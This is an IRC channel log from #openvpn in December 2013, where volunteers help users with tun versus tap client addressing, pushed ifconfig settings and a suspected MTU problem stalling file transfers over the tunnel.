22:29 -!- intricate [~xach@unaffiliated/intricate] has quit [Ping timeout: 240 seconds]
22:29 -!- NChief2_ [~nchief@unaffiliated/nchief] has joined #openvpn
22:29 -!- troyt [~troyt@2601:7:6d00:432:44dd:acff:fe85:9c8e] has quit [Ping timeout: 240 seconds]
22:30 -!- intricate [~xach@unaffiliated/intricate] has joined #openvpn
22:30 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
22:30 -!- mode/#openvpn [+o krzee] by ChanServ
22:30 -!- pepijndevos [pepijndevo@2a00:dcc0:eda:3754:247:55:9194:8ed6] has quit [Ping timeout: 240 seconds]
22:30 -!- xorox90_ is now known as xorox90
22:30 -!- mode/#openvpn [-v pekster] by ChanServ
22:30 -!- jgeboski- is now known as jgeboski
22:31 -!- troyt [~troyt@2601:7:6d00:432:44dd:acff:fe85:9c8e] has joined #openvpn
22:31 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
22:31 -!- pepijndevos [pepijndevo@2a00:dcc0:eda:3754:247:55:9194:8ed6] has joined #openvpn
23:00 -!- Devastator [~devas@177.18.199.113] has joined #openvpn
23:00 -!- Devastator [~devas@177.18.199.113] has quit [Changing host]
23:00 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
23:02 -!- eHAPPY [~V1CE@ip70-180-124-54.no.no.cox.net] has quit []
23:59 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 246 seconds]
--- Day changed Fri Dec 27 2013
00:02 -!- jefferai [~quassel@kde/mitchell] has quit [Quit: No Ping reply in 180 seconds.]
00:02 -!- kossy [a@kossy.org] has quit [Ping timeout: 272 seconds]
00:02 -!- jefferai [~quassel@kde/mitchell] has joined #openvpn
00:03 -!- pagioss [pagioss@gateway/shell/bnc4free/x-zvfhzncohawedyuw] has quit [Excess Flood]
00:03 -!- Serano [~serano@rooty.be] has quit [Ping timeout: 272 seconds]
00:04 -!- pppingme [~pppingme@unaffiliated/pppingme] has quit [Ping timeout: 272 seconds]
00:04 -!- Linmu_ [~Linmu@203.70.194.104] has quit [Ping timeout: 272 seconds]
00:04 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
00:05 -!- kossy [a@kossy.org] has joined #openvpn
00:05 -!- Serano [~serano@rooty.be] has joined #openvpn
00:06 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
00:06 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
00:06 -!- pagioss [pagioss@gateway/shell/bnc4free/x-eaevyaratdpddriw] has joined #openvpn
00:21 -!- Brando753 [~Brando753@unaffiliated/brando753] has quit [Read error: Connection reset by peer]
00:24 -!- Brando753 [~Brando753@unaffiliated/brando753] has joined #openvpn
00:31 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Ping timeout: 240 seconds]
00:37 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
01:17 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 240 seconds]
01:27 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
01:34 -!- Denial- [Denial@2.217.201.230] has joined #openvpn
01:40 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
01:41 -!- EmLeX_ [~emx@37.46.193.18] has joined #openvpn
01:42 -!- cyberspace- [~cyberspac@ninthfloor.org] has joined #openvpn
01:42 -!- Netsplit *.net <-> *.split quits: mete, +pnielsen, MacGyver, Denial, XJR-9, SlutaTramsa, Olipro, +Martin`, EmLeX, +cali,  (+4 more, use /NETSPLIT to show all of them)
01:42 -!- Denial- is now known as Denial
01:43 -!- Netsplit over, joins: mete
01:49 -!- cyberspace- [~cyberspac@ninthfloor.org] has quit [Ping timeout: 240 seconds]
01:50 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
01:58 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
02:01 -!- dvl [~dan@nyi.unixathome.org] has quit [Ping timeout: 240 seconds]
02:01 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
02:05 -!- XJR-9 [sid2977@pdpc/supporter/active/xjr-9] has joined #openvpn
02:05 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has joined #openvpn
02:05 -!- SlutaTramsa [~SlutaTram@unaffiliated/slutatramsa] has joined #openvpn
02:05 -!- cali [~cali@unaffiliated/cali] has joined #openvpn
02:05 -!- mrrothhcloud___ [uid4697@gateway/web/irccloud.com/x-tigsxpaelalupfmr] has joined #openvpn
02:05 -!- fred`` [fred@earthli.ng] has joined #openvpn
02:05 -!- m01 [~quassel@gateway/shell/freebnc/x-tvrvvojpgoyuinuk] has joined #openvpn
02:05 -!- ServerMode/#openvpn [+vvvv cali mrrothhcloud___ fred`` m01] by holmes.freenode.net
02:05 -!- Martin` [martin@shell.ipv6.octocore.net] has joined #openvpn
02:05 -!- Chrisje [chris@2a03:f80:ed15:ed15:ed15:ed15:bc4c:4bfe] has joined #openvpn
02:05 -!- pnielsen [pnielsen@2a01:7e00::f03c:91ff:fedf:3a21] has joined #openvpn
02:05 -!- ServerMode/#openvpn [+vvv Martin` Chrisje pnielsen] by holmes.freenode.net
02:15 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
02:21 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
02:59 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
03:12 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Remote host closed the connection]
03:13 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
03:15 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
03:15 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Remote host closed the connection]
03:16 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
03:28 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has joined #openvpn
03:30 -!- takamichi [~takamichi@c107-107.i07-27.onvol.net] has joined #openvpn
03:56 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has quit [Quit: Konversation terminated!]
03:58 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has joined #openvpn
04:11 -!- dvl [~dan@nyi.unixathome.org] has quit [Ping timeout: 240 seconds]
04:11 -!- thecaptain2000 [~quassel@173.154.23.95.dynamic.jazztel.es] has joined #openvpn
04:12 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
04:13 -!- thecaptain2000 [~quassel@173.154.23.95.dynamic.jazztel.es] has quit [Client Quit]
04:13 -!- thecaptain2000 [~quassel@173.154.23.95.dynamic.jazztel.es] has joined #openvpn
04:16 -!- Devastator [~devas@177.18.199.113] has joined #openvpn
04:29 -!- takamichi [~takamichi@c107-107.i07-27.onvol.net] has quit [Ping timeout: 245 seconds]
04:32 -!- takamichi [~takamichi@85.12.8.14] has joined #openvpn
05:08 -!- takamichi [~takamichi@85.12.8.14] has quit [Ping timeout: 246 seconds]
05:11 -!- takamichi [~takamichi@c107-107.i07-27.onvol.net] has joined #openvpn
05:20 -!- marlinc_ [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
05:22 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Quit: calcifea]
05:23 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
05:25 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
05:27 -!- Devastator [~devas@177.18.199.113] has quit [Ping timeout: 245 seconds]
05:28 -!- marlinc_ is now known as Marlinc
06:03 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has quit [Ping timeout: 272 seconds]
06:05 -!- jacob11 [uid22180@gateway/web/irccloud.com/x-vwwkfessfuebgbxp] has joined #openvpn
06:33 -!- novaflash [~novaflash@its.novaflash.nl] has joined #openvpn
06:33 -!- novaflash [~novaflash@its.novaflash.nl] has quit [Changing host]
06:33 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has joined #openvpn
06:33 -!- mode/#openvpn [+o novaflash] by ChanServ
06:34 -!- thecaptain2000 [~quassel@173.154.23.95.dynamic.jazztel.es] has quit [Remote host closed the connection]
06:36 -!- qwertyoruiop [~hax@89.248.169.6] has quit [Read error: Operation timed out]
06:39 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
06:49 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
06:50 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
06:54 -!- DemonWav [~DemonWav@24.49.217.197] has joined #openvpn
06:55 -!- DemonWav [~DemonWav@24.49.217.197] has left #openvpn ["Leaving"]
07:05 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Ping timeout: 240 seconds]
07:15 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
07:19 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Remote host closed the connection]
07:20 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
07:22 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Ping timeout: 240 seconds]
07:34 -!- dvl [~dan@nyi.unixathome.org] has quit [Ping timeout: 240 seconds]
07:34 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
07:37 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
07:40 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
07:45 -!- elfixit [~Icedove@2001:67c:20a1:1224:863a:4bff:fe93:6310] has joined #openvpn
08:00 -!- dvl [~dan@nyi.unixathome.org] has quit [Ping timeout: 240 seconds]
08:01 -!- dvl [~dan@64.147.113.42] has joined #openvpn
08:09 -!- elfixit [~Icedove@2001:67c:20a1:1224:863a:4bff:fe93:6310] has quit [Quit: elfixit]
08:14 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Ping timeout: 240 seconds]
08:17 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
08:19 -!- marlinc_ [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
08:19 -!- Varazir [~mircwars@c-94-255-130-121.cust.bredband2.com] has quit [Quit: updating the ESXi Host !!]
08:22 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
08:22 -!- Marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 252 seconds]
08:42 -!- Varazir [~mircwars@c-94-255-130-121.cust.bredband2.com] has joined #openvpn
09:07 -!- takamichi [~takamichi@c107-107.i07-27.onvol.net] has quit [Ping timeout: 252 seconds]
09:09 -!- takamichi [~takamichi@85.12.8.13] has joined #openvpn
09:13 -!- takamichi [~takamichi@85.12.8.13] has quit [Ping timeout: 240 seconds]
09:22 -!- takamichi [~takamichi@85.12.8.13] has joined #openvpn
09:30 -!- takamichi [~takamichi@85.12.8.13] has quit [Read error: Connection reset by peer]
09:34 -!- takamichi [~takamichi@c107-107.i07-27.onvol.net] has joined #openvpn
09:49 < wallbroken_u_z> very sfrustrating to do not understand the cause of that tun interface issue, anybody could suggest something?
09:49 <@ecrist> what is your problem?
09:56 < wallbroken_u_z> hi ecrist, let me show you my config
09:57 <@ecrist> show your config, but tell me what your problem is, too
09:59 -!- Tera [~tera@unaffiliated/tera] has quit [Remote host closed the connection]
10:02 < wallbroken_u_z> http://nopaste.info/3bfe7fdef0.html
10:03 < wallbroken_u_z> this configuration works well
10:03 < wallbroken_u_z> but if i change tap with tun
10:03 < wallbroken_u_z> it doesn't work anymore, or works bad
10:04 < wallbroken_u_z> ping works sometimes, sometimes not
10:04 -!- zxd [~zxd@bzq-79-180-55-12.red.bezeqint.net] has joined #openvpn
10:04 < wallbroken_u_z> i state that i'm not trying to make static config, but only to understand that strange behaviour of --dev tun
10:06 < wallbroken_u_z> another issue is that in log I get "WARNING: 'ifconfig' is present in local config but missing in remote config, local='ifconfig 10.0.0.0 255.255.255.0'" also with tap, that's false, --server declares some ifconfig
10:08 -!- zxd [~zxd@bzq-79-180-55-12.red.bezeqint.net] has quit [Ping timeout: 240 seconds]
10:21 -!- kasper93_ [~kasper93@unaffiliated/kasper93] has joined #openvpn
10:23 -!- kasper93 [~kasper93@unaffiliated/kasper93] has quit [Ping timeout: 245 seconds]
10:32 <@ecrist> you should be pushing an IP from the server to the client
10:32 <@ecrist> that ifconfig line belongs in a CCD entry on the server side
10:32 < wallbroken_u_z> ecrist, I know all about how i should do
10:32 <@ecrist> perhaps a better understanding of what you're doing is in order
10:32 <@ecrist> !man
10:32 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
10:33 < wallbroken_u_z> but I'd like to understand the reason why of this particular behavuour
10:33 -!- moparisthebest [~quassel@mailer.moparscape.org] has quit [Read error: Connection reset by peer]
10:33 < wallbroken_u_z> i don't need to know how i should do, I already know. I only need to know the technical reason about the issue of this config with --dev tun
10:35 <@ecrist> man tun
10:36 <@ecrist> tun is a tunnel driver, tap is an ethernet tunnel driver
10:36 < wallbroken_u_z> i know
10:36 -!- moparisthebest [~quassel@mailer.moparscape.org] has joined #openvpn
10:36 <@ecrist> then what's your damn question?
10:37 < wallbroken_u_z> the question is: why that configuration with --dev tap works, but with --dev tun do not?
10:37 <@ecrist> because your config is wrong
10:38 <@ecrist> it works with tap because your client can assign any happy IP it wants and the frames/arp/etc get passed across the tunnel
10:38 <@ecrist> with dev tun, the server needs to know what IP your client has, and it doesn't, since your client is assigned the IP it wants
10:38 < wallbroken_u_z> and the second question is: why I get "WARNING: 'ifconfig' is present in local config but missing in remote config, local='ifconfig 10.0.0.0 255.255.255.0'" if already --server uses ifconfig ?
10:40 < wallbroken_u_z>  if dev tap OR (dev tun AND topology == subnet):
10:40 < wallbroken_u_z>    ifconfig 10.8.0.1 255.255.255.0
10:40 < wallbroken_u_z> this is from the manual
10:40 <@ecrist> --server doesn't use it for the client side in that context
10:40 <@ecrist> that ifconfig you're seeing is for the server to assign it's OWN address
10:40 <@ecrist> I told you, that ifconfig line needs to go in server side ccd entry
10:40 < wallbroken_u_z> yes, infact i get WARNING on the client side
10:41 < wallbroken_u_z> the client is saing that in remote config (in the server) there is not used ifconfig
10:41 <@ecrist> your client config is wrong
10:41 <@ecrist> how many times do I need to say that?
10:41 < wallbroken_u_z> this is false because the server uses --server that sets on the server host the ip with ifconfig
10:41 <@ecrist> your client config is wrong
10:41 <@ecrist> your client config is wrong
10:41 <@ecrist> your client config is wrong
10:41 <@ecrist> your client config is wrong
10:41 <@ecrist> [A
10:41 <@ecrist> [A
10:41 <@ecrist> [A
10:41 <@ecrist> how many times do I need to say that?
10:41 <@ecrist> how many times do I need to say that?
10:41 <@ecrist> how many times do I need to say that?
10:41 <@ecrist> how many times do I need to say that?
10:42 < wallbroken_u_z> you already said me, and I know it, it was only an experiment to understand better openvpn
10:43 < wallbroken_u_z> oh, you said<@ecrist> with dev tun, the server needs to know what IP your client has, and it doesn't, since your client is assigned the IP it wants
10:43 < wallbroken_u_z> and there is some way to let the server know which ip the client uses?
10:43 <@ecrist> yeah, the server has to assign the IP with tun
10:43 <@ecrist> i.e. PUT THE IFCONFIG IN A CCD ON THE SERVER SIDE
10:43 < wallbroken_u_z> I just done
10:44 < wallbroken_u_z> i have a text file with the common name cert config
10:44 < wallbroken_u_z> and ifconfig-push in
10:44 < wallbroken_u_z> and it assigns ip well
10:44 -!- agleason6 [~agleason6@173-165-177-10-atlanta.hfc.comcastbusiness.net] has joined #openvpn
10:44 < wallbroken_u_z> and all works good
10:45 < agleason6> !welcome
10:45 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
10:45 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
10:49 -!- takamichi [~takamichi@c107-107.i07-27.onvol.net] has quit [Ping timeout: 245 seconds]
10:51 < agleason6> I have successfully setup openvpn on a standalone computer at my friend’s home, and can access the local LAN while connected through VPN (successfully ping devices, and can access local cameras), but I cannot see the devices in the windows "network" like I usually do if I directly connect to the network. Would anybody have any ideas to what might be wrong or missing? Goal: get devices and
10:51 < agleason6> computers on the network to show up in the windows "network" while connecting through VPN; they show up if you connect locally to the network. If anybody has any input that would be greatly appreciated!
10:51 -!- takamichi [~takamichi@85.12.8.106] has joined #openvpn
10:56 < wallbroken_u_z> ecrist, can you also give me an answer on why client is saying that the server is not using ifconfig?
10:56 < wallbroken_u_z> server uses --server, a script on that ifconfig is one of the thing it does
10:58 -!- kirin` [telex@gateway/shell/anapnea.net/x-jlksqsmrgtabofwd] has quit [Ping timeout: 252 seconds]
10:59 -!- kirin` [telex@gateway/shell/anapnea.net/x-nsouwqcfyglwukkt] has joined #openvpn
11:05 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood]
11:06 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
11:07 -!- mode/#openvpn [+o krzee] by ChanServ
11:17 -!- takamichi [~takamichi@85.12.8.106] has quit [Ping timeout: 272 seconds]
11:18 -!- takamichi [~takamichi@c107-107.i07-27.onvol.net] has joined #openvpn
11:19 -!- dvl [~dan@64.147.113.42] has quit [Ping timeout: 240 seconds]
11:21 < pekster> agleason6: That question comes up a lot: see a wiki entry for some details on the issue and solutions: https://community.openvpn.net/openvpn/wiki/WindowsBrowsing
11:21 <@vpnHelper> Title: WindowsBrowsing – OpenVPN Community (at community.openvpn.net)
11:21 -!- dvl [~dan@64.147.113.42] has joined #openvpn
11:22 -!- Jaska_ [~Q@dsl-olubrasgw1-58c18d-189.dhcp.inet.fi] has quit [Read error: Operation timed out]
11:23 < agleason6> thanks pekster! I will start there. I'm not a windows guy at all, so I've been having a hard time searching.
11:24 < pekster> IMO it's best to avoid relying on broadcast-centric service browsing/discovery, but figure out what your needs are and work from there
11:25 < agleason6> It's only two computers that he wants to access, so I just want to figure out how to hardcode those IPs.
11:28 <@ecrist> wallbroken_u_z: I told you that
11:28 <@ecrist> server not using ifconfig means that the client was expecting the server to SEND an ifconfig command to the client, but it never did
11:28 <@ecrist> the ifconfig line you reference in the man page is for the server itself, not the clients
11:32 < wallbroken_u_z> but the WARNING is in the client
11:32 < wallbroken_u_z> in the client log
11:34 -!- agleason6 [~agleason6@173-165-177-10-atlanta.hfc.comcastbusiness.net] has quit [Ping timeout: 246 seconds]
11:36 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has quit [Remote host closed the connection]
11:36 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has joined #openvpn
11:44 -!- smerz [~smerz@f168194.upc-f.chello.nl] has joined #openvpn
11:56 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has quit [Remote host closed the connection]
11:56 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
11:57 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has joined #openvpn
11:58 -!- loa [~nyaaa@188.233.134.248] has joined #openvpn
11:59 -!- Cpt-Oblivious [~chatzilla@31-151-87-204.dynamic.upc.nl] has joined #openvpn
11:59 -!- loa [~nyaaa@188.233.134.248] has quit [Client Quit]
11:59 -!- loki_ [~nyaaa@188.233.134.248] has joined #openvpn
12:00 -!- elfixit [~Icedove@2001:67c:20a1:1224:863a:4bff:fe93:6310] has joined #openvpn
12:10 -!- psycheye [~psycheye@93.49.16.11] has joined #openvpn
12:10 < psycheye> hi all
12:11 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
12:11 < psycheye> I've a strange problem with a client connected by openvpn (debian 7 stable) ping does run, also using elinks I can connect to remote side
12:12 < psycheye> but if I try to download a file from apache server no bytes downloaded, some problem using rsync
12:12 < psycheye> I've also 5 clients (same config) and all works
12:17 < smerz> it's not some iptables rule? (i know stating the obvious.)
12:17 < psycheye> smerz, mhmh... I think no because other clients runs
12:17 < smerz> ah i was thinking it were linux clients
12:18 < psycheye> smerz, 8 clients: 5 freebsd and 3 linux
12:18 < psycheye> openvpn server runs on linux
12:18 < smerz> the default gateway is correct too? (ip route)
12:19 < psycheye> smerz, yes
12:19 < smerz> well i dunno. sounds strange your issue
12:19 < psycheye> for instance: when I start rsync, rsync works but after some time goes to connection time out
12:19 < smerz> i mean if it's not dns, firewall, default gateway. must be something else then
12:19 < pekster> Check for MTU problems (possibly with --test-mtu, or with full-size DF packets and --passtos or similar)
12:19 < pekster> Also read about --fragment in the manpage
12:19 < smerz> oh yeah pekster has a good point
12:19 < psycheye> :-)
12:20 < smerz> the mtu ;-)
12:20 -!- elfixit [~Icedove@2001:67c:20a1:1224:863a:4bff:fe93:6310] has quit [Quit: elfixit]
12:20 < psycheye> I'm not sure, but I need change fragments/mtu also to openvpn server?
12:20 < smerz> is that server having the issue running on the same network as the other servers (where it works) ?
12:21 <@ecrist> wallbroken_u_z: I understand that.
12:22 < psycheye> Kernel IP routing table
12:22 < psycheye> Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
12:22 < psycheye> 0.0.0.0         192.168.1.40    0.0.0.0         UG    0      0        0 eth0
12:22 < psycheye> 10.10.10.0      10.10.10.1      255.255.255.0   UG    0      0        0 tun0
12:22 < psycheye> 10.10.10.1      0.0.0.0         255.255.255.255 UH    0      0        0 tun0
12:22 <@ecrist> the CLIENT is complaining becuase the SERVER didn't send it an ifconfig command
12:22 < psycheye> 192.168.1.0     0.0.0.0         255.255.255.0   U     0      0        0 eth0
12:22 -!- psycheye was kicked from #openvpn by ecrist [no paste]
12:22 -!- psycheye [~psycheye@93.49.16.11] has joined #openvpn
12:22 < psycheye> sorry for paste
12:23 < psycheye> that's client is 10.10.10.20, with default gw 10.10.10.1
12:23 < smerz> psycheye, I think pekster meant that it's possible that on which that server operates discards packets with an MTU higher than 1500
12:23 < smerz> i've seen that before
12:24 < wallbroken_u_z> ecrist, yes, I understood what you said, but if you take a look to --server into manpage, no ifconfig command has been pushed from the server to the client, ifconfig rule is for the local server, so, how could the CLIENT notice if the server send or not the ifconfig command?
12:24 < smerz> so if that client server is hosted on a physically differrent network/location than the other clients. mtu could cause you to see werid behaviour
12:24 < psycheye> mtu is 1500 like default
12:25 < smerz> yes and your server is not sending packets bigger than 1500 through the wire ?
12:25 < pekster> It's about path-MTU, not "your" MTU
12:25 < pekster> The Internet is more than just you
12:25 < pekster> Use of standard traceroute tools can usually show you pMTU as well as part of your diagnostic process
12:26 < psycheye> /sbin/ifconfig tun0 10.10.10.20 pointopoint 10.10.10.1 mtu 1500
12:26 < psycheye> from openvpn log
12:26 < psycheye> /sbin/route add -net 10.10.10.0 netmask 255.255.255.0 gw 10.10.10.1
12:26 < psycheye> pekster, :-)
12:29 < psycheye> with traceroute tool I see mtu 1500
12:31 < psycheye> smerz, any idea?
12:31 < smerz> psycheye, is that server on a different network than your other client servers ?
12:32 < psycheye> no smerz: all clients are on same network
12:32 <@ecrist> wallbroken_u_z: it's pretty trivial for the client to know if an ifconfig command was pushed to it
12:32 < smerz> psycheye,  that same apache url works on other tunnels
12:33 < psycheye> yep
12:33 < psycheye> on other clients all runs perfectly
12:33 < wallbroken_u_z> ecrist, I'm doing some test with --mode server and --mode p2p
12:33 < wallbroken_u_z> using --mode p2p with tls-server, client will no more show waring about ifconfig
12:33 -!- takamichi [~takamichi@c107-107.i07-27.onvol.net] has quit [Quit: Computer has gone to sleep.]
12:34 < wallbroken_u_z> using --mode server with tls-server, client will show warning
12:34 < wallbroken_u_z> maybe is --mode p2p that pushes the ifconfig command to the client
12:35 < psycheye> smerz, I discovers some "incorrect" packages with tcpdump
12:35 <@ecrist> wallbroken_u_z: you clearly do not understand how openvpn does things internally
12:35 <@ecrist> at this point, it's best if you go read the source code yourself
12:35 < smerz> psycheye, define incorrect ?
12:35 < wallbroken_u_z> ecrist, there is not a detailed manual?
12:36 < psycheye> 10.10.10.20.8999 > 10.10.10.17.48029: Flags [.], cksum 0x285f (incorrect -> 0xa684), ack 145, win 1934, options [nop,nop,TS val 543855 ecr 9564366], length 0
12:36 < psycheye> like this
12:36 < wallbroken_u_z> https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage
12:36 <@vpnHelper> Title: Openvpn23ManPage – OpenVPN Community (at community.openvpn.net)
12:36 <@ecrist> yep, that's the manual
12:36 < wallbroken_u_z> here there is not too much details to answer to my question
12:36 < psycheye> one on 10/20 packages
12:36 <@ecrist> if you want super-detailed knowledge on the internal workings of openvpn, read the source
12:36 < smerz> psycheye, well that's odd. I wouldn't know why the crc would fail
12:37 < wallbroken_u_z> for example, about --mode p2p, --mode server there is not much information
12:37 < psycheye> I too :-P
12:38 < smerz> psycheye, well tcpdump works on layer2, so if you ran it on the ethernet device that's how it went out on the wire
12:38 < smerz> receiving end will discard those packets
12:39 < psycheye> understood, thanks
12:41 -!- dvl [~dan@64.147.113.42] has quit [Changing host]
12:41 -!- dvl [~dan@pdpc/supporter/active/dvl] has joined #openvpn
12:41 < psycheye> smerz, what should I do? :-(
12:41 < smerz> psycheye, well does that server have packetloss over that network line (not though the tunnel) ?
12:42 < smerz> mtr -t 8.8.8.8
12:42 -!- debbie10t [~ma1com10t@host-92-20-1-125.as13285.net] has joined #openvpn
12:42 < psycheye> loss: 0.0%
12:43 < debbie10t> Hi - if anybody wants to be famous: I just searched for "--ifconfig-push" on google and got "Your search - --ifconfig-push - did not match any documents" ..... lol
12:44 < debbie10t> so can anyone explain how to use the alias option for "--ifconfig-push local remote-netmask [alias]"
12:44 < smerz> psycheye, try running a traceroute to that apacheserver. traceroute --mtu 8.8.8.8
12:45 < psycheye> smerz, loss 0.0%
12:45 < psycheye> one week of tests
12:46 < smerz> maybe a tracepath even. tracepath -n <srv_address>
12:46 < wallbroken_u_z> ecrist, you are right
12:46 < wallbroken_u_z> Fri Dec 27 19:45:22 2013 us=359375 PUSH: Received control message: 'PUSH_REPLY,route-gateway 10.0.0.1,topology subnet,ping 20,ping-restart 40,ifconfig 10.0.0.2 255.255.255.0'
12:46 < smerz> look for pmtu values
12:46 < wallbroken_u_z> ifconfig in --server is pushed
12:46 < psycheye> tracepath, huh? a new tool for me :-) I installing...
12:46 < pekster> debbie10t: "-" is special in google. Reference google's help on search (specifically negation) for details. https://encrypted.google.com/#q=%22--ifconfig-push%22
12:47 <@vpnHelper> Title: Google (at encrypted.google.com)
12:47 < wallbroken_u_z> maybe using --tls-client instead of --client, this pushed directive will be ignored
12:47 < psycheye> 1:  10.10.10.20                                           0.194ms pmtu 1500
12:47 < smerz> don't paste
12:47 < smerz> any other pmtu values with lower than 1500 ?
12:47 < psycheye> Do I use pastebin?
12:47 <@EugeneKay> !paste
12:47 <@ecrist> yes
12:47 <@vpnHelper> "paste" is (#1) "pastebin" is (#1) please paste anything with more than 5 lines into a pastebin site or (#2) https://gist.github.com is recommended for fewest ads; try fpaste.org or paste.kde.org as backups or (#3) If you're pasting config files, see !configs for grep syntax to remove comments or (#2) gist allows multiple files per paste, useful if you have several files to show
12:48 < psycheye> I don't have reply from others
12:48 < smerz> always pastebin. nothing else ;-D
12:48 < smerz> ok
12:48 < psycheye> ok
12:49 < smerz> well it sounds so much like an mtu issue. maybe with tshark you can capture more layer2 and look at it with wireshark
12:49 < psycheye> I never used tshark
12:50  * psycheye going to study tshark
12:50 < psycheye> :-)
12:50 < smerz> it dumps layer2 traffic to a file. you can download it and inspect it with wireshark. make sure you capture from eth0.
12:50 < psycheye> smerz, ok, thanks
12:50 < smerz> if you still see packets failing crc. then i dunno. could be the network card itself
12:50 <@ecrist> tcpdump does the same thing
12:50 <@ecrist> part of base on many systems
12:51 < smerz> i wasn't sure if tcpdump captured layer2
12:51 < wallbroken_u_z> ecrist, could you tell me something about "mode p2p"? or paste me some link
12:52 < wallbroken_u_z> on the manual there is nothing written about it
12:52 < smerz> make sure MTU is < 1500. capture the packets when that apache traffic fails
12:52 <@ecrist> ask your question, if I've already answered it, I'm going to +q you
12:52 < psycheye> hey guys many thanks for help! Next days I'll study wireshark and I hope to solve this problem :-)))
12:53 < pekster> wallbroken_u_z: https://community.openvpn.net/openvpn/wiki/Concepts-Addressing
12:54 <@vpnHelper> Title: Concepts-Addressing – OpenVPN Community (at community.openvpn.net)
12:55 < wallbroken_u_z> ok, in the case of --tls-server --ifconfig 10.0.0.1 255.255.255.0 on the server side and --tls-clinet --ifconfig 10.0.0.2 255.255.255.0 on the client side there is no way to communicate each other the ifconfig IP, in the case of --server it was made by PUSH/PULL. so, in the case of no working of this, how it could be made?
12:55 <@ecrist> you shouldn't do that
12:56 < psycheye> smerz, last question: can tap be different from tun for this problem?
12:56 <@ecrist> yes
12:56 <@ecrist> tun doesn't pass ethernet frames
12:56 < smerz> psycheye, absolutely yes!
